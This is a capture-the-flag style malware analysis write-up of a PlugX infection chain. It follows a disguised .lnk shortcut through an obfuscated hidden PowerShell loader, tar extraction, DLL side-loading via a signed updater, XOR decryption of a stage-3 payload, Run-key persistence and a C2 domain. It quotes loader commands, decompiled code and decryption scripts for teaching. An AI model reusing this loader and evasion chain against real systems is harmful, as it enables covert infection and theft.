
بسم الله، الحمد لله حمدًا طيبًا مباركًا يليق بجلاله وعظيم سلطانه، والصلاة والسلام على نبينا محمد ﷺ، الذي بلّغ الرسالة وأدّى الأمانة وجاهد في الله حق جهاده.
I'm Ahmed Allah Mohamed, aka 0x_V3N0M.
A ZIP file. A PDF icon. A Vietnamese filename dressed up as an internal company notice. It's exactly the kind of message that makes you click before you think.
But nothing in this file is what it claims to be. The "PDF" is a shortcut, the shortcut is a launcher, and somewhere inside a decoy, something is waiting to be pulled out.
This is my write-up for the PlugX challenge on MalOps. A suspected infection, a trail that starts with a single click, and a chain of stages that each hide the next one a little better than the last. I won't spoil where it leads. Let's follow it, one layer at a time.
So, enough talking. Let's open the file nobody should open.
The shortcut that isn't a PDF
I started where every investigation starts: with the file I was handed. The challenge ships as a single archive named Tin_buồn_PGĐ_Công_ty.pdf.zip. The name pretends to be a PDF, but the .zip at the end says otherwise, so I didn't trust either and opened it.
I extracted the archive with WinRAR, and it showed exactly one entry. No second file, no folder tree, nothing else. Listing the extracted folder from WSL confirmed it:
ls
The extracted archive contains a single file, Tin_buồn_PGĐ_Công_ty.pdf.lnk. The highlighted extension is not .pdf.
The name still carries ".pdf", but that is just part of the filename. What decides the file type is whatever follows the last dot, and here that's .lnk.
Q1 — What is the actual file extension of the provided malware sample?
Answer: .lnk
A .lnk file is a Windows shortcut. It doesn't contain a document it contains instructions: what to launch and with which arguments. That makes it a convenient disguise. Windows Explorer hides the .lnk extension, so the victim sees only "...pdf", and the shortcut's icon can be set to look like a PDF. It also tells us where the analysis has to start: not with a disassembler, but with a parser that can read the command the shortcut is hiding.
What the shortcut really runs
With the extension settled, the next question was the one every shortcut raises: what does it actually launch? A .lnk is a data file, not a program, which is why my first attempt went nowhere. Loading it into IDA simply opened cmd.exe, the shortcut's target, instead of any malicious code. So I parsed the shortcut instead:
lnkparse Tin_buồn_PGĐ_Công_ty.pdf.lnk
(1) The command used. (2) The -W h flag inside the PowerShell command line stored in the shortcut's arguments.
The target is C:\Windows\System32\cmd.exe, and the interesting part is the command line stored with it:
/c PoweRshEll -W h "; [SyStem.IO.File]::OpenReAd($kbonw);...
Two things stand out. The shortcut doesn't run PowerShell directly it goes through cmd /c. And almost nothing in the command line is spelled the standard way: the casing is scrambled (PoweRshEll), and the flag is abbreviated. The output also shows the shortcut's own window style: SW_SHOWNORMAL.
Q2 — Which PowerShell flag is used by the attacker to ensure the console window remains hidden from the user during execution?
Answer: -W h
PowerShell accepts any unambiguous prefix of a parameter name. -W is shorthand for -WindowStyle, and h is shorthand for its Hidden value, so -W h is -WindowStyle Hidden in its shortest form. This matters because the shortcut itself is set to SW_SHOWNORMAL, so nothing about the shortcut hides the console. The flag is what keeps the PowerShell window out of the victim's sight.
The abbreviation and the mixed case aren't just style. A detection rule looking for the literal string -WindowStyle Hidden or powershell won't match PoweRshEll -W h, which is exactly the kind of cheap evasion this command line is built on.
Hunting for the archive it came from
Reading the command line more carefully, the first thing the script does is go looking for something: the ZIP archive the shortcut was delivered in. After removing the case scrambling (lS, -Pa, -Re, -in), that first line reads as a recursive file search under the user's profile:
ls -Path $Home -Recurse -Include 'Tin_buo??n_PG?_Co?ng_ty.pdf.zip'The first match is then used to rebuild the archive's full path from its directory name and the same filename.
The shortcut doesn't carry the payload with it. It assumes the original archive is still on disk somewhere under the user's profile, and it finds it on its own: because the search is recursive, it doesn't matter whether the victim extracted the file from Downloads, the Desktop, or anywhere else below $Home.
Q3 — The script searches the user's home directory for a specific ZIP archive using a wildcard mask. What is the exact mask used?
Answer: Tin_buo??n_PG?_Co?ng_ty.pdf.zip
A payload buried inside the ZIP
Reading further into the command line, the script stops being a search and starts being a loader. Once the archive is found, it opens it and reads every byte into memory, then does something no archive tool would do: it slices a block of bytes out of the raw file and writes them to disk.
After stripping the case scrambling and the string splitting ('Writ'+'EAlLb'+'ytEs' is just WriteAllBytes), the relevant part reads:
$eiij = [System.IO.File]::OpenRead($kbonw) # the ZIP found earlier$obbqvvv = New-Object byte[] $eiij.Length$eiij.Read($obbqvvv, 0, $obbqvvv.Length) # whole ZIP in memory$rslf = 975[System.IO.File]::WriteAllBytes($Home + '\aqdk.cp', $obbqvvv[$rslf..(7726592+$rslf-1)])
The loader logic in the shortcut's command line. The highlighted $rslf=975 is the start of the slice cut out of the ZIP.
The ZIP is read as a plain byte array, so the slice has nothing to do with the archive's structure: no file entries, no decompression. It starts at a fixed position, and that position is the variable $rslf. The range [$rslf..(7726592+$rslf-1)] is inclusive, so it takes exactly 7,726,592 bytes (about 7.4 MiB) from that point, and writes them to aqdk.cp in the user's profile.
This is where the first screenshot pays off. When I opened the archive in WinRAR, it listed a single entry the shortcut. The payload isn't one of the entries the archive advertises. It sits in the same file, and only the shortcut knows where to look.
Q4 — The malicious payload is embedded within another file. At what byte offset does the extraction of this payload begin?
Answer: 975
How much does it take?
The offset only says where the cut starts. The second half of the slice — the range expression — says how far it goes:
$obbqvvv[$rslf..(7726592+$rslf-1)]
The length of the slice inside the range expression. The highlighted value, 7726592, is the number of bytes cut out of the ZIP.
The range runs from $rslf to 7726592 + $rslf - 1. PowerShell ranges include both ends, so the number of bytes is the end index minus the start index plus one. The +$rslf and the -1 cancel out exactly that way, and what remains is the highlighted number. With the start at 975, the slice ends at index 7,727,566.
I didn't want to take the script's word for it, so I cut the same range out myself with dd, using the offset and the count from the command line. It copied 7,726,592 bytes, which dd reported as 15,091 full blocks of 512 bytes. That is a useful sanity check: 7,726,592 is an exact multiple of 512, and tar archives are built from 512-byte blocks.
Q5 — How many bytes of data are extracted from the source file to create the stage-2 payload?
Answer: 7726592
That is about 7.4 MiB, written out as aqdk.cp in the victim's profile. The slice also fits inside the archive with room to spare: my copy of the ZIP is 7,727,670 bytes, so the slice stops 103 bytes before the end of the file. Those last bytes are consistent with the ZIP's own directory structure, which would explain why archive tools never mention the payload sitting in front of it.
Unpacking the payload
With the slice written to aqdk.cp, the script's next move is a single command — the tail end of the command line:
tAR -xvf $Home\aqdk.cp -C $Home; Sleep -Seconds 4; powershell $Home\IFIR-7R-I2R8\FoxitUpdater.exe
The end of the command line. The highlighted directory name, IFIR-7R-I2R8, appears in the path of the executable the script launches after extraction.
The -C $Home flag tells tar to extract into the user's profile folder, and the script then waits four seconds — enough for the extraction to finish — before launching an executable from inside a directory it never creates. That directory has to come from the archive itself, so the script's author knew the exact name when writing the command line.
I wanted to see this without extracting anything, so I carved the same range out of the ZIP myself and asked tar only to list its contents:
dd if="Tin_buồn_PGĐ_Công_ty.pdf.zip" of=aqdk.cp iflag=skip_bytes,count_bytes skip=975 count=7726592tar -tvf aqdk.cp
Carving the payload by hand and listing it. The archive's first entry is the directory IFIR-7R-I2R8/, followed by the files it holds.
The listing confirms it: the first entry in the archive is the directory itself, followed by what it holds — an executable and a subfolder named plugins.
Q6 — After the archive is extracted using the 'tar' command, which specific directory is created to house the payload?
Answer: IFIR-7R-I2R8
Two details are worth noting. First, the script depends on the tar utility that ships with modern Windows, so it needs no extra tooling and no downloaded file other than the archive the victim already has. Second, the directory is created at the root of the user's profile (C:\Users\<name>\IFIR-7R-I2R8), and its name means nothing — which makes it a strong indicator for hunting: a folder with this name next to an aqdk.cp file is a clear sign this chain has run.
Borrowing a trusted name
The last piece of the command line is the one that matters most. After the archive is unpacked and the script waits four seconds, it launches a single executable from the new directory:
powershell $Home\IFIR-7R-I2R8\FoxitUpdater.exe
The final command in the shortcut's arguments. The highlighted FoxitUpdater.exe is the only program the script launches.
Everything before this point was preparation: finding the archive, slicing out the payload, unpacking it. This is the moment the chain actually starts running something. The script doesn't launch it directly — it hands the path to another PowerShell instance, which executes it.
The name is chosen with care. "Foxit" is a well-known PDF reader vendor, and the shortcut we started from was dressed up as a PDF, so an updater from a PDF vendor lands in the victim's mind as an ordinary side effect of opening a document. The tar listing confirmed the same file at the top of the extracted directory — 7,199,216 bytes in size — sitting next to a plugins folder.
Q7 — To evade detection, the attacker uses a legitimate, digitally signed binary. What is the filename of this executable?
Answer: FoxitUpdater.exe
Security tooling gives signed executables from known vendors a lot of trust: they're rarely blocked, rarely flagged, and their processes look routine in a process tree. An attacker who can get such a program to run gets that trust for free. The program itself doesn't have to be malicious. What matters is what it loads, and the plugins folder beside it is where the next stage picks up.
What the signed binary loads
FoxitUpdater.exe is the signed host, but the script never touches it again after launching it. What it runs is decided by the folder it was unpacked with, so I went back to the tar listing I made earlier and looked at what sits beside it:
IFIR-7R-I2R8/FoxitUpdater.exe 7,199,216 bytesIFIR-7R-I2R8/plugins/phc.dll 140,288 bytesIFIR-7R-I2R8/plugins/phc.xml 383,404 bytes
The plugins folder inside the unpacked directory. It holds exactly two files with the same base name and different extensions: phc.dll and phc.xml.
The plugins folder holds two files with the same base name. The .dll is small at 140 KB, and the .xml is almost three times larger. An XML file of 383 KB with an arbitrary name is already unusual — and I came back to it later. For the question at hand, the DLL is the one that can execute code.
Q8 — What DLL does FoxitUpdater.exe dynamically load from the 'plugins' directory?
Answer: phc.dll
This is the classic DLL side-loading setup: a trusted, signed executable placed next to a DLL the attacker controls, so that when the program looks for one of its plugins, it picks up the attacker's copy. The malicious code then runs inside a process whose name and signature look routine.
Inside the loader DLL
With phc.dll identified as the file the signed executable loads, I opened it in IDA Pro to see what it exposes. A DLL can only be used by other code through its exports, so the Exports tab is the first thing to read.
Exports of phc.dll in IDA. Two named exports — CreateCheckLicense (ordinal 1, 0x100012D7) and DestroyCheckLicense (ordinal 2, 0x100012D4) — plus DllEntryPoint as the module's entry.
Two things stand out. The export names, CreateCheckLicense and DestroyCheckLicense, read like a license-validation plugin interface — a harmless-looking disguise for a DLL sitting in a PDF vendor's plugins folder. And the two exports sit only three bytes apart (0x100012D4 and 0x100012D7), so DestroyCheckLicense can hold at most a trivial stub.
CreateCheckLicense is where the real work starts. Opening it in the decompiler shows a nested loop of 10,000 × 1,000 iterations that does arithmetic and uses the result for nothing, followed by a single call into the rest of the DLL:
int CreateCheckLicense(){ ... for ( i = 0; i != 10000; ++i ) { v1 = 1000; v2 = 0; do { v4 = (v2 + v4) % 1000000; // pointless computation — result is never used v2 += i; --v1; } while ( v1 ); } sub_1000113F(); // actual malicious logic starts here return 0;}
The export doesn't validate anything. It burns time and then hands control to the code that continues the chain.
Q9 — Which exported function from phc.dll is used by the malware during execution?
Answer: CreateCheckLicense
DllEntryPoint is listed too, but it isn't an export in the same sense: the system calls it automatically when the DLL is loaded. CreateCheckLicense is the exported function whose body leads onward into the malicious logic.
Stalling for time
The loop in CreateCheckLicense deserves a closer look, because it doesn't compute anything the rest of the program needs:
for ( i = 0; i != 10000; ++i ){ v1 = 1000; v2 = 0; do { v4 = (v2 + v4) % 1000000; // v4 is never read after the loops finish v2 += i; --v1; } while ( v1 );}sub_1000113F(); // only line that matters
The outer loop runs 10,000 times and the inner one 1,000 times, so the body executes 10,000,000 times. Each pass does a bit of addition and a modulo, and v4 is never read after the loops finish. The calculation exists to burn CPU time, nothing else.
That is a deliberate delay. Automated analysis environments only watch a sample for a limited time, and a program that does nothing visible for long enough can outlast that window. Using arithmetic instead of a Sleep call has one more advantage: a sandbox can fast-forward or skip a sleep, but it can't skip real computation without breaking the program.
I checked how MITRE ATT&CK classifies this behavior. The page for Delay Execution describes adversaries using loops and needless repetitions of commands to delay execution beyond the time thresholds of automated analysis — which matches the pattern above.
Q10 — The malware implements a computationally intensive loop to stall execution. Which MITRE ATT&CK technique ID describes this behavior?
Answer: T1678
The file that isn't XML
In the plugins folder, phc.dll had a sibling I flagged earlier: phc.xml. A DLL's neighbors are worth a second look, so I opened the folder and compared them.
Two things don't fit a real XML file. The first is size: from the tar listing, phc.xml is 383,404 bytes — almost three times larger than the DLL it shares a name with. The second is its content. I looked at the first bytes with ndisasm:
ndisasm -b 32 phc.xml | head -60
A genuine XML document begins with readable text, usually <?xml or a tag. This file begins with 40 48 66 A9 C6 BA 90 E8 00 00 04 00 — which isn't text at all. Further in there is a long stretch of identical 0xB5 bytes. Data that is properly random doesn't repeat one value dozens of times in a row, so this looks like structured data that has been transformed with a fixed key, with its empty padding turning into the repeating byte.
Q11 — Which file is used as the encrypted container for the Stage-3 payload?
Answer: phc.xml
The name is the camouflage. A file called phc.xml next to phc.dll looks like configuration data for the plugin, and a human or a scanner skimming the folder has no reason to open it.
Hiding the imports
Past the stall loop, the DLL's behavior gets harder to read. The cause is easy to spot once you look at the imports: the interesting Windows functions it needs (file access, memory allocation, threads, networking) don't appear as imports at all. Instead of linking against them normally — which would put their names in the file for any scanner to read — the malware resolves them at runtime using API hashing: store a number in place of each function name, and have a small routine find the real function by walking the loaded modules and matching hashes.
That routine is called many times, once per API. I ranked the functions of the DLL by how many call sites point at them, skipping the compiler's library code:
import idautils, idcres = []for f in idautils.Functions(): if idc.get_func_attr(f, idc.FUNCATTR_FLAGS) & idc.FUNC_LIB: continue n = len(list(idautils.CodeRefsTo(f, 0))) res.append((n, f, idc.get_func_name(f)))for n, f, name in sorted(res, reverse=True)[:15]: print("%d xrefs 0x%X %s" % (n, f, name))
The top entry, with 55 references, is nullsub_1 — an empty function — so I ignored it. The next one is sub_1000133C, with 15 references.
The function looks like what I was after. Its signature takes two integers, and its first local is a struct _PEB_LDR_DATA *Ldr. In the disassembly, the function reads fs:30h, which on 32-bit Windows is the pointer to the Process Environment Block — the data structure that lists every module loaded in the process. Reading the loader list directly from the PEB, instead of calling GetModuleHandle or GetProcAddress, is the standard way to resolve APIs without leaving them in the import table.
Stripped of noise, the function does three things: it walks the list of loaded modules from the PEB and matches the first argument against a hash of each module's name; once the module matches, it reads that module's export table; it hashes each export name and compares it with the second argument, returning the function's address on a match.
The hash is simple: for each character it rotates the running value left by 6 bits and adds the character after converting lowercase to uppercase. Callers of this function resolve APIs such as GetModuleFileNameW, NtCreateFile, NtReadFile, VirtualAlloc and RtlRegisterWait through it.
Q12 — What is the address of the API hash resolver function?
Answer: 0x1000133C
This single function is the key to reading the rest of the DLL. Wherever the code calls a Windows API, the call goes through sub_1000133C with two constants in place of names, and the result is stored in a function pointer. Once the hashing scheme is known, those constants can be turned back into API names.
Cracking the container
I had already flagged phc.xml as the container. Its first bytes weren't text, and further in there was a long stretch of the same value, 0xB5. That repetition is the useful part. Real PE files contain large blocks of zero padding, and if a fixed key was combined with those zeros, the key itself would show through, repeated. So I took 0xB5 as the candidate key.
Before choosing an operation, I needed a known plaintext to test against. Every PE file starts with MZ (4D 5A), so I took the bytes right after the first call in the file (offset 0x0C) and tried the plausible operations with that key:
b = bytes.fromhex("F8EF5DB5B5B5B5EEE7F0E03E5934762DBBB5B54A667C76")print("xor B5 :", bytes(x ^ 0xB5 for x in b).hex(" "))print("add 4B :", bytes((x + 0x4B) & 0xFF for x in b).hex(" "))print("sub B5 :", bytes((x - 0xB5) & 0xFF for x in b).hex(" "))xor B5 : 4d 5a e8 00 00 00 00 5b 52 45 55 8b ec 81 c3 98 0e 00 00 ff d3 c9 c3add 4B : 43 3a a8 00 00 00 00 39 32 3b 2b 89 a4 7f c1 78 06 00 00 95 b1 c7 c1sub B5 : 43 3a a8 00 00 00 00 39 32 3b 2b 89 a4 7f c1 78 06 00 00 95 b1 c7 c1
The addition and subtraction candidates produce nothing recognizable. XOR with 0xB5 produces 4D 5A — the MZ signature — followed by instructions that make sense in sequence: E8 00 00 00 00 is call $+5, then 5B is pop ebx, 52 45 55 is push edx / inc ebp / push ebp, and 8B EC is mov ebp, esp. A single byte key producing a valid PE header plus coherent code across 23 bytes is not something that happens by accident. It also explains the run of B5 bytes: 00 ^ B5 = B5.
I then applied the same operation to the whole region and saved the result as stage3.bin:
d = open("phc.xml", "rb").read()open("stage3.bin", "wb").write(bytes(b ^ 0xB5 for b in d[0x0C:0x4000C]))
The result isn't only a valid header: a PE parser reads its section table and import table without complaint, and I could open the file in IDA with a sensible image base. So the key holds for the entire region.
Q13 — Which bitwise operation is used to decrypt the Stage-3 payload?
Answer: XOR
Where the key comes from
The operation was XOR. The key is the byte it was applied with — and I didn't have to search for it. It showed up in the file before I understood it: a long run of identical 0xB5 bytes in the raw phc.xml. XOR has a useful property here: any byte XORed with zero comes out unchanged, and PE files carry large blocks of zero padding. If a single-byte key was applied to the whole file, the padding would turn into that key, repeated. A run of the same value was the key showing through.
I confirmed it with known plaintext: decrypting the first bytes after the opening call with 0xB5 produced exactly MZ, followed by coherent instructions. Applying the same key to the whole region gave a file that a PE parser reads cleanly — sections and imports included. A rolling or multi-byte key would have broken that somewhere along the way.
Q14 — What is the decryption key used for the Stage-3 payload? (hex)
Answer: 0xB5
Imports that aren't there
With the Stage-3 DLL decrypted, I opened stage3.bin in IDA and looked at its import table first. A program that talks to the registry and the network normally links against the libraries that provide those functions, and they show up in the import list. This one doesn't. The parser lists only two libraries:
import pefilepe = pefile.PE("stage3.bin")for e in pe.DIRECTORY_ENTRY_IMPORT: names = [i.name.decode() for i in e.imports if i.name] print(e.dll.decode(), len(names))KERNEL32.dll 66USER32.dll 2
There's no ADVAPI32 and no WS2_32 or WinHTTP, yet the code clearly uses registry and network functions: their names sit as strings in the data section (RegCreateKeyExW, RegSetValueExW, WSAStartup, gethostbyname), and others are stored encrypted. Those functions have to be found at runtime.
Among the 66 KERNEL32 imports are two that make that possible: LoadLibraryA and GetProcAddress.
Figure 18: The Imports tab of stage3.bin in IDA, filtered on GetProcAddress. The import sits in KERNEL32 at 0x10033000.
The way these two work together is standard. LoadLibraryA loads a DLL by name, and GetProcAddress takes a function name and returns its address. A program can then call that address through a function pointer, and nothing in the import table says which function it is. The malware goes one step further and hides the names themselves. Strings in the data section are stored XOR-encrypted and decrypted by short loops right before use. The pseudocode shows two forms:
v43[i] ^= (unsigned __int8)(i - 98) ^ 0x9E; // ANSI stringsSrc[j] ^= (unsigned __int16)(j - 27234) ^ 0x959E; // Unicode stringsDecrypting a few of the ANSI strings with that formula shows what they hide:
| Stored form | Decrypted |
|---|---|
WhPwHIJtH\X | WinHttpOpen |
WhPwHIJxWWXRWA | WinHttpConnect |
Cs^HXnSJ\WS | CreateThread |
VhLKI\VzTUYT | VirtualAlloc |
So the pattern is: decrypt a name, pass it to a resolver, store the returned address, and call through it. Antivirus scanning the file for suspicious API names finds none, and the import table looks innocent.
Question 15: Which Windows API is used by the malware to dynamically resolve additional API functions?
ANSWER: GetProcAddressStaying alive
Persistence was the next thing to look for. The DLL imports nothing from the registry library, so I started where a registry path would have to appear: the strings. At first, IDA's Strings window gave me almost nothing useful, only two long runs of printable ASCII characters (Figure 19). That was misleading rather than informative: Windows registry paths are stored as UTF-16 (wide) strings, and IDA doesn't list those by default.
Figure 19: The Strings window of stage3.bin before configuration. Right-clicking in the list (1) and choosing Setup (2) opens the string settings.
In the Setup dialog I enabled Unicode C-style (16 bits) next to the default C-style option, and I filtered the list on a backslash to keep only path-like strings (Figure 20). The list changed completely:
Figure 20: With Unicode strings enabled (1), the list fills with paths. The highlighted entry (2) is Software\Microsoft\Windows\CurrentVersion\Run, 0x5C bytes long.
Beyond the highlighted entry, the list reads like a map of where the malware may place itself or look for files:
Software\CLASSES\ms-puDocuments and Settings\All Users\Application Data\ProgramData%appdata%\Render\temp%\%userprofile%\%s\%sSoftware\Microsoft\Windows\CurrentVersion\Run
The entry I cared about is the last one, the classic autorun location. Its length column says 0x5C bytes, which is exactly 45 characters plus the terminator in UTF-16, so it is a complete wide string and not a fragment. The Software\CLASSES\ms-pu entry is a different key; I noted it but did not treat it as the persistence entry, because the question asks about the key where something is created to survive a reboot, and I have no evidence it is used for that.
Then came the part that needed patience. Looking for the code that uses the Run path, IDA showed no cross-references: the pointers are computed at runtime instead of written directly into the instructions, which is part of the obfuscation in this sample. So I worked from the neighbors. The .rdata listing around that string places a literal named Foxit Updater right before it, next to the fragments used to build a quoted path:
.rdata:10034BA4 's%s\%s'.rdata:10034BB2 '"'.rdata:10034BB4 '%s"'.rdata:10034BBC 'Foxit Updater'.rdata:10034BD8 'Software\Microsoft\Windows\CurrentVersion\Run'
Figure 21: the .rdata listing around 0x10034BBC, with 'Foxit Updater' and the Run path visible together.
Compilers tend to place string literals roughly in the order the code first uses them, so literals that sit together are usually used together. That reads naturally: a path built with quotes ("C:\...\file.exe"), an entry named Foxit Updater, and the Run key where such an entry lives. The quote character at 0x10034BB2 does have a cross-reference, from 0x10021264, where the code calls wsprintfW to build that path. A little further on, at 0x10022058, a call passes 80000001h, the predefined handle for HKEY_CURRENT_USER, to a function that turned out to be a wrapper around RegCreateKeyExW: it decrypts the function name from a 15-byte string with the sample's own XOR scheme, then calls it with write access.
Figure 22: the call at 0x10022058 with push 80000001h.
Question 16: The malware ensures persistence by modifying the Windows Registry. Identify the full registry key path and the specific value name created.
ANSWER: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunValue name: Foxit UpdaterCalling home
With persistence covered, the remaining question was how the malware talks to the outside. The import table gave nothing away: stage3.bin imports only KERNEL32 and USER32, with no WinHTTP, WinINet or Winsock library in sight. The data section did hold a plaintext table of Winsock names (WSAStartup, WSAGetLastError, gethostbyname, inet_ntoa, WSACleanup), but none of those establishes a connection. Winsock initialization and name resolution are prerequisites, not the connection itself, so the API I was after had to be hidden elsewhere.
It was. The pseudocode of the network thread, sub_1000709C, contains short loops that decrypt strings right before use, with the same XOR scheme the sample uses everywhere:
#include <stdio.h>#include <string.h>
int main() { char v43[15]; int m;
strcpy(v43, "WhPwHIJxWWXRWA"); // encrypted string stored in the binary
for (m = 1; m != 14; ++m) v43[m] ^= (unsigned char)(m - 98) ^ 0x9E; // XOR decryption loop
v43[14] = 0; // null terminator
printf("%s\n", v43); // prints the decrypted API name
return 0;}
Figure 23: The network thread. A 14-byte encrypted string is decrypted in place, passed to the resolver sub_10002B98, and the returned address is called with four arguments.
Applying the loop's formula to the stored string gives the name directly:
s = "WhPwHIJxWWXRWA"# apply the same XOR formula used by the malware's decryption loopprint("".join(chr(ord(c) ^ (((i - 98) & 0xFF) ^ 0x9E)) for i, c in enumerate(s)))# output: WinHttpConnect
Figure 24: Decrypting the stored string with the formula from the loop. The result is WinHttpConnect.
The shape of the call confirms it. WinHttpConnect takes four arguments: a session handle, the server name, the port, and a reserved zero. The code above passes exactly that: v14 (the session handle returned by the call just before, which decrypts to WinHttpOpen in the same way), HIDWORD(v52) (a pointer that I take to be the server name), the port read from the structure passed to the thread, and 0. The sample also stores a table of further WinHTTP names (WinHttpOpenRequest, WinHttpSendRequest, WinHttpReceiveResponse, WinHttpQueryHeaders and others), which fits an HTTP client built on top of this connection.
Question 17: Which Windows API does the malware use to establish a connection to the C2 server?
ANSWER: WinHttpConnectA little help from ANY.RUN
For this part, I decided to use ANY.RUN instead of running the sample in my own VM. My laptop is not exactly a monster, and running a Windows VM on it tends to make it work harder than it signed up for XD. The moment I start the VM, the poor thing starts fighting for its life, so I figured it was better to let ANY.RUN handle the dynamic analysis this time.
And honestly, it was the right call. I only needed to observe the DNS and network activity while FoxitUpdater.exe was running, and ANY.RUN made that much easier without turning my laptop into a space heater.
The analysis showed repeated DNS requests for:
autodealersflorida.com
The domain appeared multiple times in the DNS Requests tab while FoxitUpdater.exe was running (Figure 25). The screenshot shows several requests for autodealersflorida.com, with ANY.RUN reporting "IP Addresses not found" for the domain.
Figure 25: ANY.RUN showing repeated DNS requests for autodealersflorida.com during the execution of FoxitUpdater.exe.
This gave me the missing piece from the previous static-analysis step. We already knew that Stage 3 uses WinHttpConnect, but the runtime network activity finally revealed the server name being queried by the malware.
Question 18: What is the C2 server used by the malware?
ANSWER: autodealersflorida.com
The domain is confirmed by the repeated DNS requests observed in ANY.RUN during the execution of FoxitUpdater.exe.
Thanks a lot for taking the time to read this write-up. I hope it was helpful and easy to follow, and that you enjoyed following the journey of digging through the malware and tracking down its C2 server.
If I made any mistakes along the way, they're on me (or on Shaytan); any good or correct part of this write-up is purely from Allah.
If this article helped you, please share it with others!
Some information may be outdated







